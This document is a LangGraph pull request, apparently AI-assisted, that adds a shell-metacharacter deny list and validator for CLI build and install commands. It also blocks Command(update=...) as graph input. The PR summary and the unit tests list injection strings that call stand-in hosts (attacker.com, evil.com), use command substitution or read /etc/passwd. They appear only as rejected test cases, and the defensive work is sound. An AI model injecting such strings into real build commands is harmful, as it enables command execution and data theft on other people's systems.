error message

## Summary
- Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS`
to prevent command injection in CLI `build_command` / `install_command`
parameters
- Previously these values were interpolated directly into Dockerfile
`RUN` directives with no validation
- Single `&` is blocked (background execution) while `&&` remains
allowed since it's commonly used in build commands (e.g. `npm install &&
npm build`)
- Adds `has_disallowed_build_command_content()` validation function and
applies it in the `build` CLI command
- Mirrors langchain-ai/langchainplus#19143

**Attack examples now blocked:**
- `pip install foo | curl attacker.com` (pipe)
- `npm install; curl evil.com` (semicolon)
- `pip install $(whoami)` (command substitution)
- `pip install ${IFS}evil` (variable expansion)
- `npm install & curl evil.com` (background execution)

## Test Plan
- [x] 27 new unit tests covering all disallowed chars, injection
patterns, single `&` rejection, `&&` allowance, and valid commands
- [x] All 64 tests in `test_config.py` pass (37 existing + 27 new)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>

libs/cli/langgraph_cli/cli.py

@@ -409,6 +409,18 @@ def build(
     install_command: str | None,
     build_command: str | None,
 ):
+    if install_command and langgraph_cli.config.has_disallowed_build_command_content(
+        install_command
+    ):
+        raise click.UsageError(
+            "install_command contains disallowed characters or patterns."
+        )
+    if build_command and langgraph_cli.config.has_disallowed_build_command_content(
+        build_command
+    ):
+        raise click.UsageError(
+            "build_command contains disallowed characters or patterns."
+        )
     with Runner() as runner, Progress(message="Pulling...") as set:
         if shutil.which("docker") is None:
             raise click.UsageError("Docker not installed") from None

libs/cli/langgraph_cli/config.py

@@ -13,6 +13,36 @@ from langgraph_cli.schemas import Config, Distros
 MIN_NODE_VERSION = "20"
 DEFAULT_NODE_VERSION = "20"
 
+DISALLOWED_BUILD_COMMAND_CHARS = [
+    '"',
+    "`",
+    "\\",
+    "\n",
+    "\r",
+    "\0",
+    "\t",
+    "|",
+    ";",
+    "$",
+    ">",
+    "<",
+]
+
+# Regex pattern matching a single "&" that is NOT part of "&&".
+# This blocks background execution (cmd &) while allowing command
+# chaining (cmd1 && cmd2) which is common in build commands.
+_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
+
+
+def has_disallowed_build_command_content(command: str) -> bool:
+    """Check if a command string contains disallowed characters or patterns."""
+    if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
+        return True
+    if _SINGLE_AMPERSAND_RE.search(command):
+        return True
+    return False
+
+
 MIN_PYTHON_VERSION = "3.11"
 DEFAULT_PYTHON_VERSION = "3.11"
 

libs/cli/tests/unit_tests/test_config.py

@@ -14,6 +14,7 @@ from langgraph_cli.config import (
     config_to_compose,
     config_to_docker,
     docker_tag,
+    has_disallowed_build_command_content,
     validate_config,
     validate_config_file,
 )
@@ -1692,3 +1693,49 @@ def test_config_to_compose_with_api_version():
 
     # Check that the compose file includes the correct FROM line with api_version
     assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
+
+
+class TestHasDisallowedBuildCommandContent:
+    """Tests for has_disallowed_build_command_content."""
+
+    @pytest.mark.parametrize(
+        "char",
+        ['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
+    )
+    def test_disallowed_chars_rejected(self, char: str) -> None:
+        assert has_disallowed_build_command_content(f"npm install{char}some-package")
+
+    @pytest.mark.parametrize(
+        "cmd",
+        [
+            "pip install foo | curl attacker.com",
+            "npm install; curl evil.com",
+            "pip install $(whoami)",
+            "pip install ${IFS}evil",
+            "curl evil.com & disown",
+            "npm install & curl evil.com",
+            "pip install > /dev/null",
+            "cat < /etc/passwd",
+        ],
+    )
+    def test_injection_patterns_rejected(self, cmd: str) -> None:
+        assert has_disallowed_build_command_content(cmd)
+
+    def test_single_ampersand_rejected(self) -> None:
+        assert has_disallowed_build_command_content("npm install & curl evil.com")
+
+    def test_double_ampersand_allowed(self) -> None:
+        assert not has_disallowed_build_command_content("npm install && npm run build")
+
+    @pytest.mark.parametrize(
+        "cmd",
+        [
+            "npm install",
+            "pnpm install --frozen-lockfile",
+            "next build && next export",
+            "npm ci && npm run build",
+            "pip install -e '.[dev]'",
+        ],
+    )
+    def test_valid_commands_allowed(self, cmd: str) -> None:
+        assert not has_disallowed_build_command_content(cmd)

libs/langgraph/langgraph/pregel/_loop.py

@@ -637,6 +637,14 @@ class PregelLoop:
 
         # map command to writes
         if isinstance(self.input, Command):
+            if self.input.update:
+                raise ValueError(
+                    "Command(update=...) is not allowed as graph input. "
+                    "To modify state before resuming, use graph.update_state(...) "
+                    "to fork the graph state, then resume with Command(resume=...). "
+                    "Note: Command(update=...) can still be used as a return "
+                    "value from a node to update graph state during execution."
+                )
             if (resume := self.input.resume) is not None:
                 if not self.checkpointer:
                     raise RuntimeError(

libs/langgraph/tests/test_pregel.py

@@ -5850,6 +5850,31 @@ def test_task_before_interrupt_resume(
     assert result == {"answers": ["answer1", "answer2"]}
 
 
+def test_command_with_update_input_raises(
+    sync_checkpointer: BaseCheckpointSaver,
+) -> None:
+    """Test that Command(update=...) raises ValueError when used as graph input."""
+
+    @entrypoint(checkpointer=sync_checkpointer)
+    def workflow(inputs: str) -> str:
+        answer = interrupt("question")
+        return answer
+
+    config = {"configurable": {"thread_id": "1"}}
+
+    # First invocation triggers interrupt
+    result = workflow.invoke("start", config=config)
+    assert "__interrupt__" in result
+
+    # Command with update (and resume) should raise
+    with pytest.raises(ValueError, match="Command\\(update="):
+        workflow.invoke(Command(resume="answer", update={"foo": "bar"}), config=config)
+
+    # Command with update only (no resume) should also raise
+    with pytest.raises(ValueError, match="Command\\(update="):
+        workflow.invoke(Command(update={"foo": "bar"}), config=config)
+
+
 def test_multiple_tasks_before_interrupt_resume(
     sync_checkpointer: BaseCheckpointSaver,
 ) -> None:

libs/langgraph/tests/test_replay.py

@@ -1,72 +0,0 @@
-"""MRE: replay from before an interrupt node uses cached resume values."""
-
-import operator
-from typing import Annotated
-
-from langgraph.checkpoint.memory import MemorySaver
-from typing_extensions import TypedDict
-
-from langgraph.graph import START, StateGraph
-from langgraph.types import Command, interrupt
-
-
-class State(TypedDict):
-    value: Annotated[list[str], operator.add]
-
-
-def test_replay_uses_cached_resume():
-    called: list[str] = []
-
-    def node_a(state: State) -> State:
-        called.append("node_a")
-        return {"value": ["a"]}
-
-    def ask_human(state: State) -> State:
-        called.append("ask_human")
-        answer = interrupt("What is your input?")
-        return {"value": [f"human:{answer}"]}
-
-    def node_b(state: State) -> State:
-        called.append("node_b")
-        return {"value": ["b"]}
-
-    graph = (
-        StateGraph(State)
-        .add_node("node_a", node_a)
-        .add_node("ask_human", ask_human)
-        .add_node("node_b", node_b)
-        .add_edge(START, "node_a")
-        .add_edge("node_a", "ask_human")
-        .add_edge("ask_human", "node_b")
-        .compile(checkpointer=MemorySaver())
-    )
-
-    config = {"configurable": {"thread_id": "1"}}
-
-    # Run until interrupt
-    result = graph.invoke({"value": []}, config)
-    assert "__interrupt__" in result
-
-    # Resume with answer
-    result = graph.invoke(Command(resume="hello"), config)
-    assert result == {"value": ["a", "human:hello", "b"]}
-
-    # Find checkpoint before ask_human
-    history = list(graph.get_state_history(config))
-    before_ask = [s for s in history if s.next == ("ask_human",)][-1]
-
-    # Replay from that checkpoint
-    called.clear()
-    replay_result = graph.invoke(None, before_ask.config)
-
-    # Interrupt is NOT re-triggered — cached resume value used
-    assert replay_result == {"value": ["a", "human:hello", "b"]}
-    assert "__interrupt__" not in replay_result
-    assert "ask_human" in called
-    assert "node_b" in called
-    assert "node_a" not in called
-
-
-if __name__ == "__main__":
-    test_replay_uses_cached_resume()
-    print("PASSED")